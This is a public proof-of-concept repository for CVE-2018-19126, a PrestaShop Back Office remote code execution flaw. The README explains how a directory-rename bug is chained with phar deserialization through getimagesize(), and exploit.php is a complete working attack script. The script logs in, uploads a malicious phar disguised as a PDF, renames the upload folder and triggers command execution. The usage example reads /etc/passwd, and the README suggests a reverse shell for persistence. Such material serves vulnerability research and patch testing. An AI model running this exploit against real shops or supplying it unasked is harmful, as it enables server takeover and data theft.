├── LICENSE ├── README.md ├── demo.gif └── exploit.php /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Fariskhi Vidyan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PrestaShop Back Office Remote Code Execution (CVE-2018-19126) 2 | 3 | This is the PoC for CVE-2018-19126, chaining multiple vulnerabilities in PrestaShop Back Office to trigger deserialization via phar to achieve remote code execution. 4 | 5 | Prerequisite: 6 | - PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4. 7 | - Back Office account (logistician, translator, salesman, etc.). 8 | 9 | ![](demo.gif) 10 | 11 | PrestaShop release note: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/ 12 | 13 | Vulnerable package link: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip 14 | 15 | ## WARNING 16 | 17 | FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE. 18 | 19 | ## Example 20 | 21 | You need `php` with curl extension and set `phar.readonly = Off` in `php.ini` to run the exploit. 22 | 23 | ``` 24 | # Download repository 25 | wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip 26 | unzip PrestaShop-CVE-2018-19126.zip 27 | cd PrestaShop-CVE-2018-19126-master 28 | 29 | # Run the exploit 30 | # Usage: php exploit.php back-office-url email password func param 31 | php exploit.php http://127.0.0.1/admin-dev/ salesman@shop.com 54l35m4n123 system 'cat /etc/passwd' 32 | ``` 33 | 34 | Note that the upload directory will be renamed and you can't upload the malicious phar file again if the folder name is not reverted. You might want to execute reverse shell to gain persistence RCE or include the command to rename the folder again in your payload (you need to know the path to the upload directory). 35 | 36 | ## Explanation 37 | 38 | We can achieve [implicit deserialization with phar wrapper](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf) via `getimagesize()` function in `[back-office-path]/filemanager/ajax_calls.php`. 39 | 40 | https://github.com/PrestaShop/PrestaShop/commit/4c6958f40cf7faa58207a203f3a5523cc8015148#diff-0f03d65f71cdd8eeb12913a97a6b8945 41 | 42 | ```php 43 | case 'image_size': 44 | if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) { 45 | die(); 46 | } 47 | $pos = strpos($_POST['path'], $upload_dir); 48 | if ($pos !== false) { 49 | $info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir))); 50 | echo json_encode($info); 51 | } 52 | ``` 53 | 54 | We need to find the way so `getimagesize()` is called with phar wrapper URL as parameter by bypassing certain checks. 55 | 56 | First check with `realpath()` is quite strict. 57 | 58 | ```php 59 | if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) { 60 | die(); 61 | } 62 | ``` 63 | 64 | The `$upload_dir` variable is come from `config.php`, which is set with `$upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/';` by default. We can't use `phar://[string]` in `$_POST['path']` because `realpath(dirname(_PS_ROOT_DIR_.$_POST['path']))` will return `false` because it's not exist. 65 | 66 | There is exist another vulnerability (CVE-2018-19125) which allows user to delete or rename `$upload_dir`. If `$upload_dir` directory is not exist, `realpath(_PS_ROOT_DIR_.$upload_dir)` will return `false` and we can bypass this check because `realpath(dirname(_PS_ROOT_DIR_.$_POST['path']))` is also `false`. This vulnerability is discovered during code review when trying to find the way to bypass :). 67 | 68 | In short, CVE-2018-19125 allows the `path` parameter in call to `delete_folder` or `rename_folder` action in `execute.php` to be empty so the application will delete/rename the `$upload_dir` instead. 69 | 70 | The second check is simple, the `$_POST['path']` need to contains `$upload_dir`. 71 | 72 | ```php 73 | $pos = strpos($_POST['path'], $upload_dir); 74 | if ($pos !== false) { 75 | ``` 76 | 77 | We can just append `/img/cms/` in the phar URL after the file path to phar file because if the directory is not exist inside the phar archive, the deserialization is still occurs. The `substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir))` will only replace `/img/cms/` to the absolute path (`$current_path`) of that folder (e.g. `/var/www/html/img/cms/` if the application is installed in `/var/www/html/`). 78 | 79 | Because we can control the `getimagesize()` function to process a phar wrapper URL, we need to upload the malicious phar file to the server. By default, FileManager in PrestaShop only allows 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv', and 'webm' as extension. We can just craft the payload and save it with valid extension. We can use `Monolog` gadget chains from PHPGGC (https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/) as it is used by PrestaShop. 80 | 81 | Final exploitation steps: 82 | 1. Craft the malicious phar file and save with valid extension (e.g. phar.pdf). 83 | 2. Upload the phar.pdf to FileManager. 84 | 3. Trigger the vulnerability to rename the upload directory to another name (e.g. renamed). 85 | 4. Call the `image_size` action with `phar://../../img/renamed/phar.pdf/img/cms/` as `path` parameter. 86 | 5. Deserialization payload in phar.pdf will be executed. 87 | 88 | The `exploit.php` script will automatically do all steps. 89 | 90 | Remember that the upload directory is renamed in step 3 and you can't upload the malicious phar file again if the folder name is not reverted. You might want to use reverse shell as payload or include the command to rename the folder again in the payload (you need to know the path to the upload directory). 91 | -------------------------------------------------------------------------------- /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/farisv/PrestaShop-CVE-2018-19126/4b1d319b641b882543e075b60f97c38dd7cf2b65/demo.gif -------------------------------------------------------------------------------- /exploit.php: -------------------------------------------------------------------------------- 1 | url = $url; 42 | $this->email = $email; 43 | $this->passwd = $passwd; 44 | $this->func = $func; 45 | $this->param = $param; 46 | } 47 | 48 | private function post($path, $data, $cookie) { 49 | $curl_handle = curl_init(); 50 | 51 | $options = array( 52 | CURLOPT_URL => $this->url . $path, 53 | CURLOPT_HEADER => true, 54 | CURLOPT_POST => 1, 55 | CURLOPT_POSTFIELDS => $data, 56 | CURLOPT_RETURNTRANSFER => true, 57 | CURLOPT_COOKIE => $cookie 58 | ); 59 | 60 | curl_setopt_array($curl_handle, $options); 61 | $raw = curl_exec($curl_handle); 62 | curl_close($curl_handle); 63 | 64 | return $raw; 65 | } 66 | 67 | private function fetch_cookie($raw) { 68 | $header = "Set-Cookie: "; 69 | $cookie_header_start = strpos($raw, $header); 70 | $sliced_part = substr($raw, $cookie_header_start + strlen($header)); 71 | $cookie = substr($sliced_part, 0, strpos($sliced_part, ';')); 72 | return $cookie; 73 | } 74 | 75 | public function run() { 76 | 77 | // Login and get PrestaShop cookie 78 | $data = array( 79 | 'email' => $this->email, 80 | 'passwd' => $this->passwd, 81 | 'submitLogin' => '1', 82 | 'controller' => 'AdminLogin', 83 | 'ajax' => '1' 84 | ); 85 | $cookie = ""; 86 | $raw = $this->post('/', $data, $cookie); 87 | $prestashop_cookie = $this->fetch_cookie($raw); 88 | 89 | // Get FileManager cookie 90 | $data = array(); 91 | $cookie = $prestashop_cookie; 92 | $raw = $this->post('/filemanager/dialog.php', $data, $cookie); 93 | $filemanager_cookie = $this->fetch_cookie($raw); 94 | 95 | // Craft deserialization gadget 96 | $gadget = new \Monolog\Handler\SyslogUdpHandler( 97 | new \Monolog\Handler\BufferHandler( 98 | ['current', $this->func], 99 | [$this->param, 'level' => null] 100 | ) 101 | ); 102 | 103 | // Craft malicious phar file 104 | $phar = new \Phar('phar.phar'); 105 | $phar->startBuffering(); 106 | $phar->addFromString('test', 'test'); 107 | $phar->setStub(''); 108 | $phar->setMetadata($gadget); 109 | $phar->stopBuffering(); 110 | 111 | // Change the extension 112 | rename('phar.phar', 'phar.pdf'); 113 | 114 | // Cookie for next requests 115 | $cookie = "$prestashop_cookie; $filemanager_cookie"; 116 | 117 | // Upload phar.pdf 118 | $curl_file = new \CurlFile('phar.pdf', 'application/pdf', 'phar.pdf'); 119 | $data = array( 120 | 'file' => $curl_file 121 | ); 122 | $raw = $this->post('/filemanager/upload.php', $data, $cookie); 123 | 124 | // Rename image directory to bypass realpath() check 125 | $data = array( 126 | 'name' => 'renamed' 127 | ); 128 | $raw = $this->post( 129 | '/filemanager/execute.php?action=rename_folder', 130 | $data, 131 | $cookie 132 | ); 133 | 134 | // Trigger deserialization 135 | // The '/img/cms/' substring is important to bypass string check 136 | $data = array( 137 | 'path' => 'phar://../../img/renamed/phar.pdf/img/cms/' 138 | ); 139 | $raw = $this->post( 140 | '/filemanager/ajax_calls.php?action=image_size', 141 | $data, 142 | $cookie 143 | ); 144 | 145 | // Display the raw result 146 | print $raw; 147 | 148 | } 149 | } 150 | 151 | } 152 | 153 | /* 154 | * Based on 155 | * https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/ 156 | */ 157 | namespace Monolog\Handler { 158 | 159 | class SyslogUdpHandler { 160 | protected $socket; 161 | 162 | function __construct($param) { 163 | $this->socket = $param; 164 | } 165 | } 166 | 167 | class BufferHandler { 168 | protected $handler; 169 | protected $bufferSize = -1; 170 | protected $buffer; 171 | protected $level = null; 172 | protected $initialized = true; 173 | protected $bufferLimit = -1; 174 | protected $processors; 175 | 176 | function __construct($methods, $command) { 177 | $this->processors = $methods; 178 | $this->buffer = [$command]; 179 | $this->handler = clone $this; 180 | } 181 | } 182 | 183 | } 184 | 185 | namespace { 186 | 187 | if (count($argv) != 6) { 188 | $hint = "Usage:\n php $argv[0] back-office-url email password func param\n\n"; 189 | $hint .= "Example:\n php $argv[0] http://127.0.0.1/admin-dev/ "; 190 | $hint .= "salesman@shop.com 54l35m4n123 system 'uname -a'"; 191 | die($hint); 192 | } 193 | 194 | if (!extension_loaded('curl')) { 195 | die('Need php-curl'); 196 | } 197 | 198 | $url = $argv[1]; 199 | $email = $argv[2]; 200 | $passwd = $argv[3]; 201 | $func = $argv[4]; 202 | $param = $argv[5]; 203 | 204 | $exploit = new PrestaShopRCE\Exploit($url, $email, $passwd, $func, $param); 205 | $exploit->run(); 206 | 207 | } 208 | --------------------------------------------------------------------------------